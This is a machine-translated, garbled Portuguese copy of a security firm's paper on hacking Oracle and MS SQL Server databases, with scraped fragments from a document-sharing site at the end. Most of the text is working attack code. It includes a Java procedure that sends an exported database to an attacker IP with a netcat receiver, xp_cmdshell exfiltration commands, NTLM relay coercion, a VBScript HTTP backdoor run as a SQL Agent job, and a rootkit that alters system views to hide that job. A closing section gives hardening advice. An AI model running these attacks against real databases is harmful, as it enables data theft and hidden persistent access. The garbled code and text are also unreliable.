- - * Nix
BEGIN
PROC_CREATEPARFILE ( 'parfile.txt', 'export.dmp'); PROC_EXECUTEOS ( '../bin/exp

parfile = .. / parfile.txt'); PROC_EXECUTEOS ( '/ usr / bin / zip export.zip export.dmp'); FIM;
Assim, este script cria um arquivo de exportação no hospedeiro servidor, contendo todos os dados no banco de dados compactados em
formato Zip. Agora precisamos enviar o arquivo através da rede para o host atacante.
send_zip.sql:
Este script utiliza a funcionalidade Java disponível no Oracle Database Server para abrir uma conexão TCP de saída a partir do servidor
de banco de dados para o atacante host remoto em um determinado número de porta TCP. Uma vez que esta conexão é aberta, o script
envia todos os conteúdos no arquivo Zip exportados através desta ligação.
CRIAR OU SUBSTITUIR e resolver FONTE JAVA DENOMINADO "SRC_FILESEND" AS java.lang

importação. *; import java.io. *; import java.net. *; FileSend classe pública {
Esta função Java usa a funcionalidade de rede em java.net. * Para enviar um arquivo local através de uma conexão TCP / IP para um site
remoto.
pública FileSend static void (String myFile, String host, porta int) throws Exception
{ comprimento int;
byte buffer [] = new byte [1024];
Arquivo binaryFile = new File (myFile);

FilelnputStream inpStream = novo FilelnputStream (myFile); Tomada peúga = new Socket
(host, port);
DataOutputStream dos = novo DataOutputStream (sock.getOutputStream ()); DataInputStream dis = novo
DataInputStream (sock.getInputStream ()); while ((comprimento = inpStream.read (tampão))! = -1) {
dos.write (tampão, 0, comprimento); dos.flush ();

}
sock.close (); inpStream.close

(); }};
CREATE OR REPLACE PROCEDURE "PROC_FILESEND" (myFile varchar2, hostname2 varchar2, Port PLS_INTEGER)
como Java LÍNGUA
NOME 'FileSend.fileSend (java.lang.String, java.lang.String, int)';
Executar o Java procedimento armazenado para enviar o arquivo exportado (export.zip) a partir do servidor de banco de dados para o host
do atacante (192.168.253.1 porta TCP 4445).
- - janelas
exec PROC_FILESEND ( 'C: \ export.zip', '192.168.253.1', 4445);
- - * nix
PROC_FILESEND exec ( './dbs/export.zip', '192.168.253.1', 4445);
Para receber o arquivo compactado com todos os conteúdos de banco de dados, o atacante pode usar o utilitário netcat para redirecionar o
que é recebido em uma porta TCP para um arquivo. Isso pode ser feito com o seguinte comando:
nc -p 4445 -l> oracle-db.zip
ataques MS SQL Server:
Vamos ver alguns ataques para o MS SQL Server.
Roubando um banco de dados completo da Internet:

Roubando um banco de dados completo não é grande negócio uma vez que você tenha acesso ao servidor de banco de dados e você tem privilégios
suficientes, você só tem que executar as próximas frases:
- - Faça backup do banco de dados

BACKUP DATABASE databasename TO DISK = 'c: \ windows \ temp \ out.dat'
- - Compactar o arquivo (você não quer um arquivo de 2 GB)
EXEC xp_cmdshell 'makecab c: \ windows \ temp \ out.dat c: \ windows \ temp \ out.cab'
- - Obter o backup copiando-o para o seu computador.
EXEC xp_cmdshell 'copy c: \ Windows \ Temp \ out.cab \\ yourip \ share'
- - Ou por qualquer outra forma (TFTP, fftp, http, email, etc.)
- - Apague os arquivos
EXEC xp_cmdshell 'del c: \ windows \ temp \ out.dat c: \ windows \ temp \ out.cab'
As sentenças anteriores poderiam ser executado por injeção SQL explorando em uma aplicação web se
a aplicação web tem suficientes privilégios que não é incomum, 'sa' ou outra conta administrativa são frequentemente utilizados por
desenvolvedores web para se conectar ao MS SQL Server.
Os dados podem ser comprimidos de 10: 1 ou mais, de modo de banco de dados de 1 GB será 100Mb por isso não é difícil de roubar grandes quantidades de
dados.
Roubar dados com um par de cliques:
Há essa velha ferramenta chamada DataThief, é apenas uma PoC bastante básico I construída em 2002, sim, é de 5 anos, o que é
surpreendente é que ele ainda funciona e essa é a razão pela qual é mencionado aqui, para mostrar que como um simples e velho
ferramenta pode ser facilmente usado para roubar dados por apenas apontar e clicar. Esta ferramenta explora SQL Injection e funciona
mesmo se você não pode obter resultados nem erros de volta na aplicação web. Ele usa uma técnica que não serão detalhados aqui,
mas você pode olhar para [4] para mais pormenores, basicamente, faz atacou aplicação web backend SQL Server conectar a um
atacante SQL Server e copiar todos os dados disponíveis, ele usa a funcionalidade OpenRowset assim lá há necessidade de privilégios
elevados, no SQL Server 2000 é habilitado por padrão, em que o SQL Server 2005' não é habilitado por padrão, mas se a funcionalidade
foi habilitada porque as necessidades específicas, então ele pode ser abusado. Para que esta ferramenta para trabalhar a infra-estrutura
SQL Server deve ser capaz de se conectar ao atacante SQL Server.
Este é um ponto e clique ferramenta muito fácil de usar que, infelizmente, tem sido usado por bandidos para roubar dados, essa é a razão
pela qual ela foi tirada fora de linha há algum tempo.
Para usar a ferramenta que você primeiro precisa ter o seu próprio (ou não) MS SQL Server em que a ferramenta irá copiar os dados
disponíveis, você tem que configurar os parâmetros de conexão no topo da ferramenta, então você precisa encontrar uma injeção de
SQL ponto de entrada em uma aplicação web e definir o URL e os parâmetros adicionando <***> onde instruções SQL será injetado
automaticamente, também tem de definir o método HTTP usado para enviar os dados para a aplicação web, depois que você só precisa
começar a fazer clique e você vai ter todos os dados disponíveis.
Esta ferramenta está disponível juntamente com este papel e tem um documento de ajuda que dão mais detalhes sobre como usá-lo.
Roubar credenciais da conta do SQL Server e usá-los para ligar de volta para SQL Server:
Como você deve saber MS SQL Server suporta a autenticação NTLM do Windows, a autenticação NTLM e fraquezas NTLM não serão
detalhados aqui você pode olhar [5] para mais detalhes. O mecanismo NTLM desafio resposta é vulnerável a ataques MITM porque, por
padrão, todas as versões do Windows usar uma configuração fraca, para que possamos explorar isso para lançar um ataque que nos
permitirá conectar a MS SQL Server como a conta de usuário sob o serviço SQL Server é execução que sempre é uma conta
administrativa, logicamente este ataque não vai funcionar se o SQL Server está sendo executado na conta LocalSystem porque não
pode autenticar a sistemas remotos, mas não se preocupe porque o SQL Server na conta LocalSystem não é uma boa segurança
praticar e não é recomendado pela Microsoft.
Podemos forçar SQL Server ligar para nós (o atacante) e tentar autenticar (xp_fileexist pode ser executado por qualquer usuário de
banco de dados):
master.dbo.xp_fileexist exec '\\ OurIP \ share'
Essa frase fará com que SQL Server para tentar autenticar o computador remoto como sua conta de serviço que tem privilégios de
banco de dados sysadmin.
Ao utilizar este ataque NTLM MITM, podemos usar as credenciais do SQL Server para ligar de volta para o SQL Server como sysadmin e do
próprio servidor de banco de dados (e, em seguida, o proprietário do servidor Windows, claro, mas isso é outro assunto)
O próximo é um esquema básico de autenticação NTML:
Cliente → Ligações → Servidor

Cliente ← envia desafio Servidor ←
Cliente → envia a resposta do servidor
→
Cliente ← autentica ← Servidor
O próximo representa um ataque NTLM autenticação MITM SQL Server simples:
(Atacante) (Servidor SQL)

um cliente → Ligações → Servidor
b) Cliente ← envia desafio (c) ← Servidor
1) Cliente → forças para conectar → Servidor
2) Cliente ← Ligações ← Servidor
3) Cliente → envia desafio (C) → Servidor
4) Cliente ← envia resposta (R) ← Servidor
c) Cliente → envia resposta (R) → Servidor
d) Cliente ← autentica ← Servidor
Vamos detalhar um pouco o ataque de uma forma simples, primeiro o cliente (atacante) tentará se conectar e autenticar o servidor (SQL
Server) usando a autenticação NTLM, o servidor irá enviar um desafio (c) para o cliente, o cliente deve usar esse desafio e enviar a
resposta adequada, a fim de iniciar sessão com sucesso, mas em vez de fazer que o cliente detém sobre essa autenticação e força o
servidor para se conectar ao cliente para o servidor tentará autenticar o cliente (o cliente deve ser registrada anteriormente para SQL
server em uma conta privilegiada baixo, explorando injeção SQL pode funcionar também em algumas circunstâncias, sem a necessidade
de autenticar para SQL server) para que o cliente irá enviar o mesmo desafio (c) que anteriormente recebeu do servidor, o servidor
enviou uma resposta (r) para o cliente,finalmente, o cliente usará essa resposta (r) para enviá-lo para o servidor na autenticação que era
segurar e o cliente irá autenticar com êxito no servidor como a conta de serviço do servidor, uma conta de administrador de banco de
dados.
Este ataque é implementado pela nossa ferramenta de Maguro (por JP) disponível junto com este papel, que consiste em um par de
scripts python, atualmente essa ferramenta só funciona com Windows 2000, ainda estamos trabalhando para apoiar Windows 2003.
Extractos de magurô-README.txt:
...
Maguro túneis uma conexão TDS / SQL para um servidor de destino SQL para um usuário não privilegiado.
O túnel faz malabarismo com os pacotes NTLMSSP contidas na conexão TDS / SQL, e se agrava privilégios para os da conta do
servidor SQL está sendo executado como (não vai funcionar se o SQL Server está sendo executado na conta Sistema Local), usando o
já bem conhecido e documentado ataque MITM para a autenticação NTLM, que já existe há vários anos (primeira informação detalhada
eu me lembro vem do autor do Relé SMB, Sir Dystic de Cult of the Dead Cow [0]).
Para isso, ele força o servidor SQL-alvo para se conectar e autenticar-se para a máquina do atacante.
...
Roubar dados usando um rootkit e backdoor:

Depois de comprometer um servidor SQL é sempre bom ter uma maneira de continuar a ter acesso e não ser detectada para que
possa continuar a roubar dados para sempre.
Podemos inserir um backdoor no SQL Server através da criação de um trabalho e programar-lo para conectar a nós, em determinado
momento, o que nos permite executar qualquer comando e obter os resultados de volta, o Job executa o código VBScript que se conecta ao
atacante usando HTTP (HTTPS poderia ser usado para contornar o IDS). Atacante usa Netcat e enviar comandos no cabeçalho Data HTTP.
Vamos ver o código:
BEGIN TRANSACTION DECLARE

@ReturnCode INT SELECIONAR
@ReturnCode = 0
SE NÃO EXISTE (SELECT nome msdb.dbo.syscategories WHERE name = N '[Sem categoria (Local)]' E category_class = 1) BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @ classe = N'JOB '@ type = N'LOCAL', @ name = N '[Sem categoria
(local)]'
IF (@@ ERROR <> 0 OU @ReturnCode <> 0) GOTO QuitWithRollback
FIM
DECLARE @jobId BINÁRIO (16)
- - aqui é adicionado o trabalho chamado backD00r
EXEC @ReturnCode = msdb.dbo.sp_add_job @ job_name = N'backD00r',

@ Enabled = 1,
@ Notify_level_eventlog = 0, @
notify_level_email = 0, @
notify_level_netsend = 0, @
notify_level_page = 0, @ delete_level =
0,
Descrição @ = descrição N'No disponível. '@ Categoria_name = N' [Sem
categoria (local)]', @ owner_login_name = N '', @job_id = @jobId SAÍDA
IF (@@ ERROR <> 0 OU @ReturnCode <> 0) GOTO QuitWithRollback
- - aqui nós agendar o trabalho para executar quando queremos
EXEC msdb.dbo.sp_add_jobschedule @ job_id = @ jobId, @ name = N'1' ,

@ Activado = 1, @ freq_type = 4, @
freq_interval = 1, @ freq_subday_type =
1, @ freq_subday_interval = 0, @
freq_relative_interval = 0, @
freq_recurrence_factor = 1, @
active_start_date = 0,
- - data em que o trabalho será executado formato AAAAMMDD

@ Active_end_date = 99991231,
@ Active_start_time = 95400, - momento em que o trabalho será executado hhmmss formato @

active_end_time = 235959
-- aqui vamos adicionar uma etapa de trabalho com o código vbscript
EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @ job_id = @ jobId, @ STEP_NAME = N'1' ,

@ Step_id = 1,
@ Cmdexec_success_code = 0, @
on_success_action = 1, @
on_success_step_id = 0, @ on_fail_action
= 2, @ on_fail_step_id = 0, @
retry_attempts = 0, @ retry_interval = 0,
@ Os_run_priority = 0, @ subsistema = N'ActiveScripting', @ command =

N'port = 80
httpserver = "http://192.168.1.15" '' mudança de ip atacante, usando https irá ignorar IDS sqlserver = "" '' Mudança de nome
da instância servidor se ele é um comando instância nomeada = ""
no currículo de erro próxima

conjunto RDS = CreateObject ( "RDS.Dataspace") '' algum truque para ser capaz de usar XMLHTTP :) Definir http =
rds.CreateObject ( "MSXML2.XMLHTTP", "")
se não CheckError seguida

Do While ucase (trim (comando)) <> "EXIT"
http.open "cabeça", httpserver & ":" & porto, FALSE http.send
OUTTEXT & vbcrlf & vbcrlf OUTTEXT = ""

command = http.getResponseHeader ( "Data")
se UCASE (trim (comando)) <> "EXIT", em seguida,

Definir Conn = CreateObject ( "ADODB.Connection") Set Rec =
CreateObject ( "ADODB.Recordset")

conn.open "provider = sqloledb; servidor =" & sqlserver & "; Trusted_Connection = yes;" comando rec.open, Conn

para i = 0 a -1 rec.fields.count
se OUTTEXT <> "", então OUTTEXT = OUTTEXT & vbTab
OUTTEXT = OUTTEXT & rec.fields.item (i) .nome
Próximo
OUTTEXT = OUTTEXT & vbcrlf & rec.getstring (,, vbTab, vbcrlf, "")
se CheckError então OUTTEXT = err.description outra
OUTTEXT = final err.description se
outro
OUTTEXT = err.description
Se
terminar Se final se
extremidade do laço
se
set conn = nada definido

rec = nada definido http =
test nada set = nada
CheckError função
se err = 0 então
CheckError = false else
CheckError = True err =

0 End If End Function',
@ Database_name = N'VBScript', @ flags = 0

IF (ERRO @@ <> 0 OU @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_update_job
@job_id = @jobId, @start_step_id = 1 IF (ERRO @@ <> 0 OU @ReturnCode <> 0 ) GOTO QuitWithRollback EXEC
@ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N '(local)'
IF (@@ ERROR <> 0 OU @ReturnCode <> 0) GOTO QuitWithRollback COMMIT TRANSACTION

GOTO EndSave QuitWithRollback:
IF (@@ TRANCOUNT> 0) ROLLBACK TRANSACTION EndSave:
O código acima irá primeiro criar um emprego, então ele irá agendar o trabalho para ser executado sempre que você quer, finalmente, ele irá
adicionar uma etapa de trabalho com o VBScript que irá se conectar ao atacante através de HTTP e ler um comando do Data cabeçalho HTTP e
retornar respostas de volta e assim sucessivamente até o comando "exit" é lido.
Se você quiser executar o trabalho logo depois de criá-lo você pode executar o seguinte:
EXEC msdb.dbo.sp_start_job @ job_name = N'backD00r'
Muito bom, não é?

Isso não é tudo, precisamos esconder o que acabou de adicionar para que os administradores de banco de dados não vai notar um novo trabalho foi
criado, nem quando está funcionando. Podemos fazer isso com um rootkit banco de dados, exibições do sistema de consulta ferramentas do SQL Server
para obter informações sobre os objetos de banco de dados, a fim de exibi-los, podemos modificar esses pontos de vista assim que os objetos que foram
adicionadas não são devolvidos pelas consultas nem exibidos.
O código TSQL próxima deve ser executado, a fim de instalar o rootkit:
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para instalar rootkit para esconder backdoor
- - executado como um trabalho, acrescentando "(jobs.name <> 'backD00r') E" em onde cláusula
--
----------------------------------------------------------------------
usar msdb;
exec sp_executesql N' ALTER VISTA
sysjobs_view AS
jobs.job_id SELECT,
svr.originating_server,
jobs.name, jobs.enabled,
jobs.description,
jobs.start_step_id,
jobs.category_id,
jobs.owner_sid,
jobs.notify_level_eventlog,
jobs.notify_level_email,
jobs.notify_level_netsend,
jobs.notify_level_page,
jobs.notify_email_operator_id,
jobs.notify_netsend_operator_id,
jobs.notify_page_operator_id, jobs.delete_level,
jobs.date_created, jobs.date_modified,
jobs.version_number,
jobs.originating_server_id, svr. master_server
DE msdb.dbo.sysjobs como trabalhos

ADERIR msdb.dbo.sysoriginatingservers_view como svr NO
jobs.originating_server_id = svr.originating_server_id
- - LEFT JOIN msdb.dbo.sysjobservers js SOBRE jobs.job_id = js.job_id WHERE (jobs.name <> ''
backD00r '') e ((owner_sid = SUSER_SID ())
OU (ISNULL (IS_SRVROLEMEMBER (N''sysadmin ''), 0) = 1) OU (ISNULL (IS_MEMBER
(N''SQLAgentReaderRole ''), 0) = 1) ou ((ISNULL (IS_MEMBER (N''TargetServersRole' '),
0) = 1) e
(Existe (SELECT * FROM msdb.dbo.sysjobservers js
ONDE js.server_id <> 0 e js.job_id = jobs.job_id)))) - filtrar empregos locais
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para instalar rootkit para esconder cronograma
- - para o trabalho backdoor, acrescentando: "E sched.name <> '1'" em onde cláusula
--
----------------------------------------------------------------------
usar msdb;
exec sp_executesql N'
ALTER VIEW sysschedules_localserver_view AS
sched.schedule_id SELECT,
sched.schedule_uid,
sched.originating_server_id,
sched.name, sched.owner_sid,
sched.enabled, sched.freq_type,
sched.freq_interval,
sched.freq_subday_type,
sched.freq_subday_interval,
sched.freq_relative_interval,
sched.freq_recurrence_factor,
sched.active_start_date,
sched.active_end_date,
sched.active_start_time,
sched.active_end_time,
sched.date_created, sched.date_modified,
sched.version_number, svr.
originating_server, svr.master_server
DE msdb.dbo.sysschedules como sched

Cadastre msdb.dbo.sysoriginatingservers_view como svr ON
sched.originating_server_id = svr.originating_server_id WHERE (svr.master_server =
0) e sched.name <> '' 1 '' E ((sched.owner_sid = SUSER_SID ())
OU (ISNULL (IS_SRVROLEMEMBER (N''sysadmin ''), 0) = 1) OU (ISNULL

(IS_MEMBER (N''SQLAgentReaderRole ''), 0) = 1)
)'
Depois de executar a executar o código acima o trabalho que criou anteriormente serão ocultadas a partir de ferramentas MS SQL Server.
Vamos continuar tendo acesso sem ser notado pelos administradores de banco de dados. Depois de ter feito tudo o que queremos com o
servidor de banco de dados ou se estamos cansados de possuir o servidor que pode remover o rootkit com o próximo código TSQL:
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para desinstalar rootkit que esconde backdoor
- - executado como um trabalho, removendo "(jobs.name <> 'backD00r') E" em onde cláusula
--
----------------------------------------------------------------------
usar msdb;
exec sp_executesql N' ALTER VISTA
sysjobs_view AS
jobs.job_id SELECT,
svr.originating_server,
jobs.name, jobs.enabled,
jobs.description,
jobs.start_step_id,
jobs.category_id,
jobs.owner_sid,
jobs.notify_level_eventlog,
jobs.notify_level_email,
jobs.notify_level_netsend,
jobs.notify_level_page,
jobs.notify_email_operator_id,
jobs.notify_netsend_operator_id,
jobs.notify_page_operator_id, jobs.delete_level,
jobs.date_created,
jobs.date_modified,
jobs.version_number,
jobs.originating_server_id,
svr.master_server
DE msdb.dbo.sysjobs como trabalhos
jobs.originating_server_id = svr.originating_server_id
- - LEFT JOIN msdb.dbo.sysjobservers js NO jobs.job_id = js.job_id ONDE (owner_sid =
SUSER_SID ())
OU (ISNULL (IS_SRVROLEMEMBER (N''sysadmin ''), 0) = 1) OU (ISNULL (IS_MEMBER
(N''SQLAgentReaderRole ''), 0) = 1) ou ((ISNULL (IS_MEMBER (N''TargetServersRole' '),
0) = 1) e
(Existe (SELECT * FROM msdb.dbo.sysjobservers js
ONDE js.server_id <> 0 e js.job_id = jobs.job_id))) - filtrar empregos locais
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para desinstalar rootkit que esconde cronograma
- - para o trabalho backdoor, remoção "E sched.name <> '1'" em onde cláusula
--
----------------------------------------------------------------------
usar msdb;
exec sp_executesql N'
ALTER VIEW sysschedules_localserver_view AS
sched.schedule_id SELECT,
sched.schedule_uid,
sched.originating_server_id, sched.name,
sched.owner_sid, sched.enabled,
sched.freq_type, sched.freq_interval,
sched.freq_subday_type,
sched.freq_subday_interval,
sched.freq_relative_interval,
sched.freq_recurrence_factor,
sched.active_start_date, sched.
active_end_date, sched.active_start_time,
sched.active_end_time,
sched.date_created, sched.date_modified,
sched.version_number,
svr.originating_server, svr.master_server
DE msdb.dbo.sysschedules como sched

sched.originating_server_id = svr.originating_server_id ONDE (svr.master_server = 0)
E ((sched.owner_sid = SUSER_SID ())
OU (ISNULL (IS_SRVROLEMEMBER (N''sysadmin ''), 0) = 1) OU (ISNULL

(IS_MEMBER (N''SQLAgentReaderRole ''), 0) = 1)
)'
Depois de remover o rootkit que pode remover o backdoor:
----------------------------------------------------------------------
--
- - Script para o SQL Server 2005 para desinstalar backdoor
--
----------------------------------------------------------------------
DECLARE @jobId BINÁRIO (16)
select @ jobId = job_id DE msdb.dbo.sysjobs onde name = 'backD00r' EXEC msdb.dbo.sp_delete_job @ job_id
= @ jobId, @ delete_unused_schedule = 1
Depois de remover o rootkit e backdoor o servidor de banco de dados continuará funcionando sem problemas. Em vez de remover o
rootkit e backdoor você pode simplesmente desativar a agenda de trabalho e habilitá-lo quando você precisar dele, porque você não
precisa se preocupar com o backdoor sendo detectada a menos que alguns administradores de banco de dados inteligentes ler o
próximo :)
Para detectar se este rootkit é instalado, ele está apenas consultando fácil como diretamente msdb.dbo.sysjobs e
msdb.dbo.sysschedules mesas e comparando os resultados com os apresentados por ferramentas MS SQL Server.
Temos visto alguns ataques muito legal, estamos constantemente pesquisando e encontrar novos ataques e vulnerabilidades em servidores
de banco de dados, para mais exploits, avisos, trabalhos de pesquisa, etc. relacionados para a segurança de banco de dados você pode olhar
[6].
Como se proteger contra ataques:
Vamos ver agora como você pode proteger seus bancos de dados contra ataques.
Definir uma política de senha boa:

Use senhas fortes, educar os usuários usem frases secretas, eles são fáceis de lembrar e difícil de crack. Implementar uma política onde
reutilização de senha não é permitido, lockdown login depois x falhou logins tentativas, as senhas devem ser trocadas a cada x dias, etc.
Mantenha-se atualizado com patches de segurança:

Tente instalar patches tão rápido quanto você pode, vulnerabilidades de banco de dados são graves, por vezes, o servidor de banco de dados pode ser
facilmente comprometida com uma consulta simples.
Sempre teste manchas por algum tempo em servidores não produção de primeira e monitorar para problemas patch em listas de
discussão. Às vezes, manchas poderia abrir buracos (Olá Sr. Oracle) em vez de corrigi-los.
Proteja servidor de banco de dados por firewall:

Permitir conexões somente de hosts confiáveis. Bloquear todas as portas não usadas e bloquear todas as conexões de saída, porque o
servidor de banco de dados que precisa se conectar a um host ou Internet ?, você pode definir exceções para replicação, bancos de dados
vinculados, etc.
Desativar todas as funcionalidades não utilizadas:

Alguns servidores de banco de dados tem todas as funcionalidades ativadas por padrão, você pode usar endurecimento guias de partes confiáveis para
desactivar a funcionalidade não utilizado, lembre-se de testar em servidores não produção em primeiro lugar.
Use criptografia:
Ao nível da rede: usar SSL, banco de dados protocolos proprietários. No nível de arquivo: criptografia do sistema de arquivos Arquivo e
(backups, arquivos de dados, etc.) a nível de banco de dados: criptografia de coluna (bases de dados APIs de criptografia, soluções de
terceiros)
Verifique periodicamente para objetos e sistema de permissões:

Verifique vistas, procedimentos armazenados, tabelas, etc. permissões. Verifique arquivo, pasta, registro, etc. permissões. Alterações em
permissões poderia significar um compromisso ou configuração errada.
Verifique periodicamente para novas instalações de banco de dados:

produtos de terceiros pode instalar servidores de banco de dados e esta nova servidores instalados poderia ser instalado com senhas
em branco ou fraco, sem patch, mis-configurado, etc. Detecção de novas instalações de banco de dados e seguro ou removê-los.
Verifique periodicamente para usuários com privilégios de administração de banco de dados:

Isso ajuda a detectar intrusões, elevação de privilégios, etc.
Verifique periodicamente para configuração e configurações de banco de dados:

Se configurações ou configurações de segurança são alteradas por exemplo, uma atualização do sistema, patches, etc. seus bancos de dados pode
ser aberto ao ataque. Se eles mudam e não houve atualização do sistema, em seguida, isso poderia significar um compromisso.
Verifique periodicamente objetos do sistema de banco de dados contra alterações:

Se você detectar uma alteração em um objeto do sistema e você não tiver aplicado uma correção ou atualização para o servidor de banco de dados pode
significar que um rootkit está presente.
Periodicamente auditar suas aplicações web:

Auditar suas aplicações web para injeção de SQL, mis-configurações. permissões fracos, etc. Lembre-se também de usar usuários
privilegiados baixos para conectar a servidores de banco de dados, se vulnerável a injeção SQL, ataques poderiam ser limitados.
serviços de banco de dados executado sob baixas contas privilegiadas:

Se os serviços de banco de dados estão comprometidos em seguida compromisso OS poderia ser um pouco difícil.
Log, tanto quanto possível:

Verifique periodicamente os logs de eventos, tais como:
● logins falhos.
● sintaxe SQL incorrecta.
● Permissões erros.
● Etc.
A presença desses eventos poderia significar seu banco de dados foi ou está sendo atacada.
Monitorar as atividades dos usuários e acessos:

Se os usuários sabem que não são monitorados, eles poderiam se sentir livre para invadir servidores de banco de dados e não ser pego.
Construir um honeypot servidor de banco de dados:

Usando um honeypot servidor de banco de dados você pode detectar ataques de banco de dados em sua organização em um estágio inicial,
ele irá ajudá-lo a detectar e prevenir ataques internos e externos, geralmente atacantes irão primeiro para os frutos mais baixos. A fim de
configurar um honeypot banco de dados que você pode seguir os seguintes passos:
● Isolar o servidor
• Todas as conexões de saída deve ser bloqueado.
● Configurá-lo para registrar tudo, traços e alertas definidos executado.
● Configurar outros serviços para criar um ambiente realista.
● Definir senhas em branco ou de fácil adivinhação.
● Faça o servidor parece interessante

• Você pode ligá-lo a partir de servidores de produção.
• Defini-lo um nome interessante como CreditCardServer, FinancialServer, etc.
• Criar bancos de dados com nomes como cartões de crédito, CustomersInfo, etc.
• Criar tabelas com dados falsos que parece real.
Construir uma casa feita de IDS / IPS:

Em servidores de banco de dados sensíveis, dependendo funcionalidade disponível, você pode construir um IDS simples / IPS, definindo alertas de
banco de dados para obter notificações ou para executar algumas ações quando ocorrerem alguns erros:
● tentativas de login.
● sintaxe SQL incorrecta.
● erros de declaração da União.
● Permissões erros.
Proteja seus dados como você proteger o seu dinheiro !!!!!!!:

Seja inteligente, pensar sobre isso, se você perder dados que você perder dinheiro.
Use ferramentas de terceiros:

Se sua empresa tem alguns servidores de banco de dados, então não é grande coisa para auditar-los manualmente, construir algumas ferramentas
básicas, etc., mas quando você tem dezenas de servidores de bancos de dados é ficar complicado por isso é recomendado que você use ferramentas de
terceiros para:
● Encryption.
● Avaliação de vulnerabilidade.
● Auditoria.
● Monitorização, prevenção de intrusão, etc.
Treinar a equipe de TI sobre segurança de banco de dados:

Se sua equipe não sabe o segurança do banco de dados é, então, todas as ferramentas e melhor proteção do mundo não vai ajudar muito.
Os funcionários devem ser treinados e aprender a fim de obter segurança de banco de dados.
Peça serviços profissionais especializados:

As empresas de segurança especializadas em segurança de banco de dados com um histórico apalpada na pesquisa de banco de dados são muito melhores do
que todas as empresas de segurança propósito.
Conclusão:
Como acabamos de ver a ameaça de roubo de dados é real, roubo de dados é bastante simples se você sabe como fazê-lo e os bandidos
estão aprendendo rápido, eles estão investindo e ferramentas de ataque edifício, enquanto as empresas parecem estar dormindo e dando de
graça seus dados . Um simples erro pode levar ao comprometimento do banco de dados. Se você não proteger seus bancos de dados, mais
cedo ou mais tarde você vai ser hackeado, isso significa muito dinheiro perde e no pior caso, correndo para fora do negócio. defesa de
perímetro não é suficiente, você deve proteger seus bancos de dados fazendo fortes investimentos em matéria de protecção de dados.
Spam:
Se você precisar de informações serviços de segurança não fazem como Oracle, entre em contato conosco.
Não seja como Oracle, cortar seus próprios servidores antes que alguém o faça It !, confira Argeniss final 0 dias
Exploits pacote
http://www.argeniss.com/products.html
Referências:
[1] O custo elevado de perda de dados

http://www.informationweek.com/security/showArticle.jhtml?articleID=183700367&pgno=1
[2] Câmara Direitos de Privacidade

http://www.privacyrights.org/
[3] Quantos são os seus dados pessoais a pena?

http://www.turbulence.org/Works/swipe/calculator.html
http://www.bankrate.com/brm/news/pf/20060221b1.asp
[4] Manipulando o MS SQL Server usando SQL Injection

http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf
[5] coisas NTLM

http://www.isecpartners.com/documents/NTLM_Unsafe.pdf
http://davenport.sourceforge.net/ntlm.html
[6] documentos, avisos e explorações

http://www.argeniss.com/research.html
[7] Rootkits da Oracle 2,0

http://www.red-database-security.com/wp/oracle_rootkits_2.0.pdf
[8] vulnerabilidades de injeção SQL múltipla no pacote DBMS_METADATA

http://www.appsecinc.com/resources/alerts/oracle/2005-03.html
[9] DBMS_METADATA Explorar

http://www.argeniss.com/research/OraDBMS_METADATAExploit.txt
Sobre Argeniss
Argeniss é uma empresa de segurança da informação especializada na aplicação e segurança de banco de dados, oferecemos serviços como
informações de vulnerabilidade, explorar o desenvolvimento, auditoria de software, testes de penetração e formação, também oferecemos
exploits para software amplamente implantado.
Contate-Nos
Buenos Aires 463 Parana,

Entre Rios Argentina
E-mail:.. Info> .at <Argeniss> .dot <com
Tel: + 54-343-4231076 Fax:

1-801-4545614

Banco de Dados

Загружено:

Сведения о документе

Исходное описание:

Оригинальное название

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

Banco de Dados

Загружено:

Авторское право:

Доступные форматы

Hacking Bases de dados para

Possuir seu Dados

Isso está apenas começando, os ataques vão aumentar em número e sofisticação.

Se você quer ser mais medo basta dar uma olhada:

Esses números falam por si mesmos.

Por que a segurança do banco de dados ?:

Você deve cumprir com os regulamentos, leis, etc .:

● Sarbanes Oxley (SOX).

Como bancos de dados são cortados ?:

Adivinhação de senha / brute-forcing:

Senhas e dados cheirou através da rede:

Explorando vulnerabilidades conhecidas / desconhecidos:

Roubar discos e fitas de backup:

A instalação de um rootkit / backdoor:

Oracle ataques de banco de dados:

Agora vamos ver alguns ataques para bancos de dados Oracle.

Roubar dados usando um rootkit e backdoor:

Oracle Database Rootkits:

Oracle Database Backdoors:

de um local remoto e obter as respostas do servidor.

A implementação de um Backdoor banco de dados Oracle:

Este programa vai fazer basicamente três coisas:

Prova-de-conceito exemplo de Backdoor e Rootkit:

• Enviar comandos para o Backdoor e receber a saída.

A comunicação entre o Backdoor eo Console de Backdoor:

Backdoor Console imagem

Em seguida, o Backdoor introduz um ciclo de repetição destas operações:

• Envia a saída para o console Backdoor.

Console backdoor oracle Database

• Enviar informações sobre DB propriedade

• Mostra nova DB Owned

hospedeiro atacante (remoto)

• Mostrar saída Loop até que “EXIT” é

Selecione Trabalho, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,

selecionar v.SID, JOB v.id2, j.FAILURES,

COM identificador de objeto (powner_id) AS SELECT '' 1 '', '' 0 '',

u.user #, j.powner, j.lowner, j.cowner, j.job, TO_CHAR (j.last_date, ''

Este é o conteúdo do script com comentários em verde:

DBMS_JOB.SUBMIT (job_id, 'Declare UTL_TCP.CONNECTION l_cn;

l_cn: = UTL_TCP.OPEN_CONNECTION ( '' 192.168.253.1 '', 4444, 1521);

IF (SUBSTR (LTRIM (SUPERIOR (l_sqlstm)), 1, 7)) = '' SELECT '' THEN

DBMS_SQL.PARSE (l_thecursor, l_sqlstm, DBMS_SQL.NATIVE);

l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' ''); DBMS_SQL.DEFINE_COLUMN (l_thecursor, 1,

EXIT WHEN (DBMS_SQL.FETCH_ROWS (l_thecursor) <= 0); FOR i IN 1 .. LOOP

